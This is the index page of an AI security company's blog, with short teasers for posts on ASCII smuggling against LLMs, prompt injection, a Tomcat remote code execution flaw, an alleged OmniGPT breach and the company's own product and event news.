AI Security Blog

You'll find useful content about AI security, the cybersecurity landscape, news, events and much more updated regularly here.

Ghosts in the Machine: ASCII Smuggling across Various LLMs

Ghosts in the Machine: ASCII Smuggling across Various LLMs

Researcher Viktor Markopoulos discovers ASCII Smuggling bypasses human audit via Unicode, enabling enterprise identity spoofing and data poisoning on Gemini & Grok.

Subscribe to receive articles directly in your inbox

If you prefer to be notified of new posts via email, simply subscribe to our blog below.

Latest articles

All
OWASP LLM TOP 10
All
AI Security
All
Product
All
A View from the C-Suite
All
Fintech
All
cloud security
All
AI
All
Awards
All
API economy
All
podcast
All
WAF
All
Events
All
Cybersecurity
All
Cyber landscape
All
Company
All
API security
Enhanced AI Security Capabilities from FireTail
April 8, 2025

Enhanced AI Security Capabilities from FireTail

FireTail’s latest platform update gives customers expanded AI security features and discovery capabilities to better find, document and protect AI initiatives across your organization. Here, we look at what the update covers and the benefits these new features deliver for FireTail customers.

Read more
Prompt Injection: A Deep Dive into OWASP's #1 LLM Risk
April 1, 2025

Prompt Injection: A Deep Dive into OWASP's #1 LLM Risk

In this blog, we are taking a closer look at Prompt Injection, the #1 vulnerability on the OWASP Top 10 list of LLM risks in 2025. Join us in the first of this 10-part series as we examine the root causes of prompt injection, how prompt injection attacks are carried out, and the best methods to avoid them.

Read more
Startup Spotlight at Blackhat Asia 2025
March 26, 2025

Startup Spotlight at Blackhat Asia 2025

FireTail has been selected as a finalist for the Blackhat Asia 2025 Startup Spotlight Competition. We're delighted to be taking part and can't wait to showcase how FireTail helps enterprises discover, assess, and secure AI usage while preventing threats like shadow AI, data leaks, and AI-specific attacks.

Read more
Tomcat RCE Vulnerability Now Exploited in the Wild
March 20, 2025

Tomcat RCE Vulnerability Now Exploited in the Wild

Researchers recently found a vulnerability in Apache Tomcat’s servers that would allow an attacker to commit Remote Code Execution with a single PUT request to a specific API, followed by a GET. And now, this vulnerability is officially being exploited in the wild.

Read more
API Security IS AI Security
March 3, 2025

API Security IS AI Security

Security teams today face a dual challenge: protecting AI systems from external threats while securing the APIs that power them. The reality is clear—if your APIs aren’t secure, neither is your AI.

Read more
OmniGPT’s Massive Alleged Breach…
March 3, 2025

OmniGPT’s Massive Alleged Breach…

A BreachForum user came out claiming to have breached OmniGPT and shared samples of stolen data to back up this claim. Weeks later, researchers are still scrambling to figure out the scope, attack method, and more.

Read more